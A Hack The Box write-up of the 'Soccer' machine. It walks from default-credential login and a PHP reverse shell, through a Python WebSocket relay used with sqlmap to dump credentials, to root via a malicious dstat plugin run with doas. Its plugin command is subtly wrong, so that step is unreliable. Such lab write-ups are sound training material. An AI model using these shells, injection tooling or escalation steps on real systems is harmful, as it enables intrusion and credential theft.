Hack The Box Write-Up Soccer - 10.10.11.194
About Soccer
In this post, I’m writing a write-up for the machine Soccer from Hack The Box. Hack The Box is an online platform to train your ethical hacking skills and penetration testing skills
Soccer is a ‘Easy’ rated box. Grabbing and submitting the user.txt flag, your points will be raised by 10 and submitting the root flag you points will be raised by 20.
Foothold
After the initial port scan, we discovered several open ports, including SSH on port 22/tcp
and HTTP on port 80/tcp
. The open port that caught my attention was an unknown service running on port 9091/tcp
. After running ffuf
against the hostname http://soccer.htb
, we found the directory http://soccer.htb/tiny
. Upon visiting this directory, we encountered the login page for the Tiny File Manager
. Using the default admin credentials, we were able to log in. After some exploration, we found the directory tiny/uploads
, where we could upload files. After preparing and uploading the php-reverse-shell.php
, we successfully established a reverse shell as www-data
to our attacker’s machine.
User
After manual enumeration, we found the subdomain soc-player.soccer.htb
in the file /etc/nginx/sites-enabled/soc-player.htb
. When we visit this subdomain on port 80/tcp
, we see the same webpage as http://soccer.htb
, but with some additional features. We now have the option to sign up for an account and log in. After creating a user account and log in, we notice that a ticket for a match is reserved for us. We also have the option to fill out a form to validate the ticket. Using Burp Suite
, we can intercept this validation request and discover that it is actually a WebSocket. By conducting a man-in-the-middle attack with a custom Python script and sqlmap
, we can identify an SQL injection vulnerability, read the soccer_db
database, and obtain the credentials for the username [email protected]
. This user account has permissions for an SSH session, and through this connection, we can access the user.txt
flag.
Root
After uploading and running linpeas.sh
, we discovered that doas is installed on this machine. By examining the configuration file for doas
, we learned that we have the privileges to run dstat
. We created a malicious plugin for doas containing a privilege escalation payload in the directory /usr/local/share/dstat
. After loading this plugin and executing it with the dstat
command, we obtained a shell as root, successfully taking control of the machine.
Machine Info
Machine Name: | Soccer |
Difficulty: | Easy |
Points: | 20 |
Release Date: | 17 Dec 2022 |
IP: | 10.10.11.194 |
Creator: | sau123 |
Reconnaissance
Portscan with Nmap
As always, we start this machine with a portscan with Nmap
.
1
nmap -sC -sV -oA ./nmap/soccer 10.10.11.194
The results.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-13 15:43 EST
Nmap scan report for 10.10.11.194
Host is up (0.055s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ad0d84a3fdcc98a478fef94915dae16d (RSA)
| 256 dfd6a39f68269dfc7c6a0c29e961f00c (ECDSA)
|_ 256 5797565def793c2fcbdb35fff17c615c (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
9091/tcp open xmltec-xmlmail?
| fingerprint-strings:
| drda, informix:
| HTTP/1.1 400 Bad Request
|_ Connection: close
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9091-TCP:V=7.93%I=7%D=1/13%Time=63C1C264%P=x86_64-pc-linux-gnu%r(in
SF:formix,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r
SF:\n\r\n")%r(drda,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x
SF:20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.77 seconds
The results of the port scan show two open network ports. The first port is the default SSH port 22/tcp
. The second port is the default HTTP port 80/tcp
with the hostname http://soccer.htb
. We have added this hostname to our /etc/hosts
file. The third port is 9091/tcp
. We do not know yet which service is using this port. We have to find this out along the way.
Enumeration
We first check the website by visiting http://soccer.htb
with our favorite web browser.
Hack The Box Soccer website http://soccer.htb
This website is a static website, without any useful information. Let’s do some directory brute forcing with ffuf
.
1
2
┌──(root💀kali)-[/home/kali/htb/machines/soccer]
└─# ffuf -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://soccer.htb/FUZZ
The results
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://soccer.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
[Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 27ms]
# [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 47ms]
# [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 37ms]
# or send a letter to Creative Commons, 171 Second Street, [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 48ms]
# Copyright 2007 James Fisher [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 57ms]
# on atleast 2 different hosts [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 70ms]
# directory-list-2.3-medium.txt [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 70ms]
# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 76ms]
# [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 79ms]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/ [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 92ms]
# Attribution-Share Alike 3.0 License. To view a copy of this [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 94ms]
# Priority ordered case sensative list, where entries were found [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 94ms]
# This work is licensed under the Creative Commons [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 94ms]
# [Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 85ms]
tiny [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 24ms]
We have found the directory http://soccer.htb/tiny
. This page shows a login form.
Hack The Box Soccer Tiny File Manager
Intrusion
Access to Tiny File Manager
Tiny File Manager is an open-source project hosted on GitHub. On the GitHub page of this project, we can find the default username/password: admin/admin@123
and user/12345
.
After login, we can see in the right-bottom corner that version 2.4.3
of Tiny File Manager is being used on this machine. This version of tiny file manager suffers from a Authenticated Remote Code Execution vulnerability, according to this page: https://febinj.medium.com/tiny-file-manager-authenticated-rce-ad768d49fa0.
Hack The Box Soccer Tiny File Manager 2.4.3 is being used
Reverse shell as www-data
First, I tried to use the publicly available exploit to get a shell on the machine. But, this exploit gives a ‘File Upload unsuccessful’ message. Eventually, we are getting a reverse shell by uploading the php-reverse-shell.php
to the tiny/uploads
directory. After opening this file, a reverse shell as www-data
is established on our machine.
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root💀kali)-[~/Documents/htb/machines/soccer]
└─# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.16.9] from (UNKNOWN) [10.10.11.194] 34294
Linux soccer 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
14:48:56 up 28 min, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@soccer:/$
If we check the current user profiles, we can discover that the user player
exists on this machine.
1
2
3
www-data@soccer:/$ ls /home
ls /home
player
Through manual enumeration, we can find that this machine is hosting a second website http://soc-player.soccer.htb/
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
www-data@soccer:/etc/nginx/sites-enabled$ ls
ls
default soc-player.htb
www-data@soccer:/etc/nginx/sites-enabled$
www-data@soccer:/etc/nginx/sites-enabled$
www-data@soccer:/etc/nginx/sites-enabled$ cat soc-player.htb
server {
listen 80;
listen [::]:80;
server_name soc-player.soccer.htb;
root /root/app/views;
location / {
proxy_pass http://localhost:3000;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
proxy_set_header Host $host;
proxy_cache_bypass $http_upgrade;
}
}
After we have added this hostname to our /etc/hosts
file, we can visit this website. This website has the functionality of creating a user account.
Hack The Box subdomain soc-player.soccer.htb
After creating a user account, we are landing in the following webpage.
Hack The Box Soccer Ticket website
If we fill in our tikcet nuimber and intercept it with Burpsuite, we see that an websocket message is send. The message is send over port 9091/tcp
. After intercepting this request with Burpsuite, we see that the WebSocket is running on this port.
BurpSuite shows that the WebSocket connection is made
Exploitation
SQL Injection in WebSocket
The next step is looking for vulnerabilities. Let’s start testing for SQL Injection vulnerabilities. This is one of the most common vulnerabilities with WebSockets. It’s not possible to use sqlmap
directly against WebSockets. We need to have a proxy that redirects the payload to the WebSocket running on the machine. After searching around on the internet, I found this post: https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html. I copied the script and modified it a bit.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection
ws_server = "ws://soc-player.soccer.htb:9091/"
def send_ws(payload):
ws = create_connection(ws_server)
# If the server returns a response on connect, use below line
#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
# For our case, format the payload in JSON
message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
data = '{"id":"%s"}' % message
ws.send(data)
resp = ws.recv()
ws.close()
if resp:
return resp
else:
return ''
def middleware_server(host_port,content_type="text/plain"):
class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
self.send_response(200)
try:
payload = urlparse(self.path).query.split('=',1)[1]
except IndexError:
payload = False
if payload:
content = send_ws(payload)
else:
content = 'No parameters specified!'
self.send_header("Content-type", content_type)
self.end_headers()
self.wfile.write(content.encode())
return
class _TCPServer(TCPServer):
allow_reuse_address = True
httpd = _TCPServer(host_port, CustomHandler)
httpd.serve_forever()
print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")
try:
middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
pass
After executing this script, we can send the SQL injection payloads to http://localhost:8081
.
1
2
3
4
┌──(sqlmap-websocket-proxy)─(kali㉿kali)-[~/Documents/htb/machines/soccer]
└─$ python3 middleware.py
[+] Starting MiddleWare Server
[+] Send payloads in http://localhost:8081/?id=*
Let’s start sqlmap
, and point this tool to http://localhost:8081
1
2
┌──(kali㉿kali)-[~/Documents/htb/machines/soccer]
└─$ sqlmap -u "http://localhost:8081/?id=1" --batch --dbs
It seems that this WebSocket is vulnerable to SQL Injection. We have found the database soccer_db
.
1
2
3
4
5
6
7
8
9
10
11
mysql
[09:54:38] [INFO] retrieved: information_schema
[09:57:27] [INFO] retrieved: performance_schema
[10:00:10] [INFO] retrieved: sys
[10:00:39] [INFO] retrieved: soccer_db
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] soccer_db
[*] sys
Let’s enumerate this database further and retrieve all tables that hold this database.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(kali㉿kali)-[~/Documents/htb/machines/soccer]
└─$ sqlmap -u "http://localhost:8081/?id=1" -D soccer_db --tables
...
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
1
[10:06:36] [INFO] retrieved:
[10:06:46] [INFO] adjusting time delay to 2 seconds due to good response times
accounts
Database: soccer_db
[1 table]
+----------+
| accounts |
+----------+
Okay, the database soccer_db
contains one table named accounts
. The next step is to dump all the information from this table.
1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~/Documents/htb/machines/soccer]
└─$ sqlmap -u "http://localhost:8081/?id=1" -D soccer_db -T accounts --dump
...
[10:22:43] [INFO] retrieved: player
Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id | email | password | username |
+------+-------------------+----------------------+----------+
| 1324 | [email protected] | PlayerOftheMatch2022 | player |
+------+-------------------+----------------------+----------+
We can access SSH and read the user flag through an SSH session as the user player
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
┌──(kali㉿kali)-[~/Documents/htb/machines/soccer]
└─$ ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-135-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sat Jun 7 14:26:56 UTC 2025
System load: 0.0
Usage of /: 70.7% of 3.84GB
Memory usage: 22%
Swap usage: 0%
Processes: 233
Users logged in: 0
IPv4 address for eth0: 10.10.11.194
IPv6 address for eth0: dead:beef::250:56ff:fe94:6ddc
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Tue Dec 13 07:29:10 2022 from 10.10.14.19
player@soccer:~$ cat user.txt
3bb7dbfddce0a2d62c77075f3196d968
Privilege Escalation
Enumeration
After downloading linpeas.sh
to the machine, we can start enumerating.
1
2
3
4
5
6
7
8
9
10
11
12
player@soccer:/tmp$ curl 10.10.16.4:8000/linpeas.sh -o linpeas.sh
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 820k 100 820k 0 0 593k 0 0:00:01 0:00:01 --:--:-- 592k
player@soccer:/tmp$ bash linpeas.sh
...
╔════════════════════════════════════╗
══════════════════════╣ Files with Interesting Permissions ╠══════════════════════
╚════════════════════════════════════╝
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid
-rwsr-xr-x 1 root root 42K Nov 17 2022 /usr/local/bin/doas
From the output of linpeash.sh
we can see that the software /usr/local/bin/doas
is installed on this machine. doas
is similar to the sudo
command, and it executes arbitrary commands as another. First, we search for the doas.conf
file.
1
2
player@soccer:~$ find / -type f -name "doas.conf" 2>/dev/null
/usr/local/etc/doas.conf
Creating malicious plugin
If we read this configuration file, we see that the user account player has the privileges to run /usr/bin/dstat
as root without a password.
1
2
player@soccer:~$ cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat
The next step is to configure doas
to use this configuration file at executing.
1
player@soccer:~$ doas -C /usr/local/etc/doas.conf
Next, we need to check the location of dstat
to create a malicious plugin. dstat
supports custom plugins, and since we have permission to run this software as root via doas
without needing a password, we can achieve privilege escalation through this malicious plugin to create a reverse shell or spawn a shell as root
.
1
2
3
4
player@soccer:~$ find / -type d -name dstat 2>/dev/null
/usr/share/doc/dstat
/usr/share/dstat
/usr/local/share/dstat
We now know that dstat
is looking in the /usr/local/share/dstat
. Create a plugin called dstat_privesc.py
, with the following contents:
1
2
3
import os
os.system('chown +x /usr/bin/bash')
Own Soccer
The name of the plugin is determined by the suffix of the file name, e.g. dstat_<plugin_name>.py
. Now let’s add our newly created plugin
1
2
player@soccer:/usr/local/share/dstat$ dstat --list | grep privesc
privesc
The plugin is loaded. Let’s own this machine.
1
2
3
4
5
6
7
8
9
10
11
player@soccer:/usr/local/share/dstat$ doas /usr/bin/dstat --privesc
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
import imp
Module dstat_privesc failed to load. (name 'dstat_plugin' is not defined)
None of the stats you selected are available.
player@soccer:/usr/local/share/dstat$ ls
dstat_privesc.py
player@soccer:/usr/local/share/dstat$ bash -p
bash-5.0# whoami
root
bash-5.0#
We have owned soccer
from Hack The Box.
1
bash-5.0# cat /root/root.txt
Although this machine was released a couple of years ago, I had fun rooting this machine and learned - as always - new stuff.
Thanks for reading this write-up! Did you enjoy reading this write-up? Or learned something from it like me? Please consider spending a respect point: https://app.hackthebox.com/profile/224856.com/profile/224856. Thanks!
Happy Hacking :-)